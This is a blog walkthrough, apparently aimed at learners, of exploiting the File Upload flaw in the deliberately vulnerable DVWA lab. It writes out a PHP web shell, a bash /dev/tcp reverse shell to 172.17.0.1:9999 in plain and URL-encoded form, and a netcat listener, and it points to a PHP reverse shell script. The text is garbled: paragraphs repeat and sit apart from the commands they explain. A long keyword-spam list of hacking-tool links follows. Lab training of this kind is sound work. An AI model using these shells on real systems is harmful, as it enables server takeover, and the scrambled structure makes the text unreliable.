In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
we see a response from the server giving us the user under which the web application is running.
Now start a listener on host with this command:
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
looking back at the listener we have a reverse shell.
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.
echo TESTUPLOAD > test.txt
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt
<?php phpinfo(); ?>
http://localhost:9000/hackable/uploads/info.php
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php system($_GET["cmd"]); ?>
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
nc -lvnp 9999
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999
That's it for today have fun.
References:
- Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
- Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Related news
- Pentest Tools List
- Hacking Tools For Windows Free Download
- Hacking Tools Online
- Pentest Tools Free
- Pentest Tools Port Scanner
- Hacking Tools 2019
- Nsa Hacker Tools
- Hacking Tools For Mac
- Hacker Security Tools
- Pentest Tools Nmap
- Pentest Tools Url Fuzzer
- Hacker Tools 2019
- Hacking Tools Windows
- Hack And Tools
- Hacker Tools Windows
- Hack Tools For Pc
- Hack And Tools
- What Are Hacking Tools
- Hacker Tools 2019
- Hacker Techniques Tools And Incident Handling
- Best Pentesting Tools 2018
- Nsa Hack Tools
- Hacking Tools Windows 10
- Pentest Tools Open Source
- Android Hack Tools Github
- Hacking Apps
- Best Pentesting Tools 2018
- How To Hack
- Hacking Tools 2019
- Kik Hack Tools
- Best Pentesting Tools 2018
- Pentest Tools Nmap
- Pentest Box Tools Download
- Blackhat Hacker Tools
- Hacking App
- Nsa Hack Tools
- How To Install Pentest Tools In Ubuntu
- Hacker Search Tools
- Hacking Tools For Windows
- Pentest Tools Subdomain
- Pentest Recon Tools
- Hacker Tools For Windows
- Black Hat Hacker Tools
- Hacker Tools Mac
- Pentest Tools List
- Pentest Tools Nmap
- Termux Hacking Tools 2019
- Bluetooth Hacking Tools Kali
- Pentest Tools For Mac
- Computer Hacker
- Pentest Tools For Mac
- Underground Hacker Sites
- How To Install Pentest Tools In Ubuntu
- Hacking Tools For Pc
- How To Install Pentest Tools In Ubuntu
- How To Hack
- Hacking Tools Pc
- Hack Apps
- Hacking Tools Hardware
- Best Hacking Tools 2019
- Nsa Hacker Tools
- Beginner Hacker Tools
- Pentest Tools Alternative
- Hacker Tools 2020
- Hacking Tools Pc
- Hacking Tools Hardware
- Hackers Toolbox
- Pentest Tools Website
- Hack Tools Mac
- Hack Rom Tools
- Hacking Tools Free Download
- Hacker Tool Kit
- Pentest Tools Android
- Hacker Tools Free Download
- Pentest Tools Website Vulnerability
- Hacking Tools Name
- Hacking Tools For Windows Free Download
- Pentest Tools Online
- Nsa Hacker Tools
- Hacking Tools Kit
- Hacker Tools Free
- Hack Tool Apk
- Github Hacking Tools
- Usb Pentest Tools
- Pentest Tools Framework
- Hack Tools Mac
- Hacker Tools 2020
- Pentest Tools Online
- Hacker Security Tools
- Tools For Hacker
- Hacker Techniques Tools And Incident Handling
- Physical Pentest Tools
- Hacker Tools Apk Download
- Hacker Security Tools
- Pentest Reporting Tools
- Pentest Tools Free
- Pentest Tools Online
- Hacker Tools Hardware
- Hacking Tools Online
- Pentest Recon Tools
- Hacking Tools For Beginners
- How To Hack
- Hacking Tools For Windows Free Download
- Pentest Tools For Android
- Hacking Tools For Mac
- Hacking Tools Github
- Pentest Reporting Tools
- Hacking Tools Name
- Hak5 Tools
- Game Hacking
- Hacker Tools Linux
- Bluetooth Hacking Tools Kali
- Ethical Hacker Tools
- Kik Hack Tools
- Pentest Tools Github
- Underground Hacker Sites
- Underground Hacker Sites
- Pentest Tools Url Fuzzer
- Hacking Tools Windows 10
- Hacking Tools Online
- Underground Hacker Sites
- Pentest Tools Windows
- Hacker Tools
- Tools 4 Hack
- Wifi Hacker Tools For Windows
- Hack Website Online Tool
- Hackrf Tools
- Hack Tool Apk
- Hacking Tools For Windows
- Pentest Tools Bluekeep
- Pentest Tools For Mac
- Hacking Tools Github
- Hacking Tools Mac
- New Hack Tools
- Pentest Tools Kali Linux
- Android Hack Tools Github
- Hacking Tools For Windows
- Pentest Tools Website
- Hack Tools
- Hacker Tools For Pc
- Pentest Tools For Windows
- Hack Tools Github
- Hacking Tools Windows 10
- Hacking Tools For Windows Free Download
- Hack Tools Github
- Physical Pentest Tools
- Pentest Recon Tools
- Hack Tools
- Pentest Automation Tools
- Hacking Tools For Windows 7
- Nsa Hacker Tools
- Hack Tools
- Hacking Tools Hardware
- Easy Hack Tools
- Pentest Tools For Windows
- Hackers Toolbox
- Pentest Tools For Ubuntu
- Pentest Tools Subdomain
- Pentest Tools Bluekeep
- Hack Tools For Windows
- Hacking Tools 2020
- Hack Tools
- Pentest Tools List
- Free Pentest Tools For Windows
- Pentest Tools Port Scanner
- Pentest Tools List
- Hacker Tools 2020
- Hack Tools For Pc
- Hak5 Tools
- Hack Tools For Games
- Pentest Tools Find Subdomains
- Hacker Tools For Windows
- Hacking Tools Name
- Pentest Tools Find Subdomains
No comments:
Post a Comment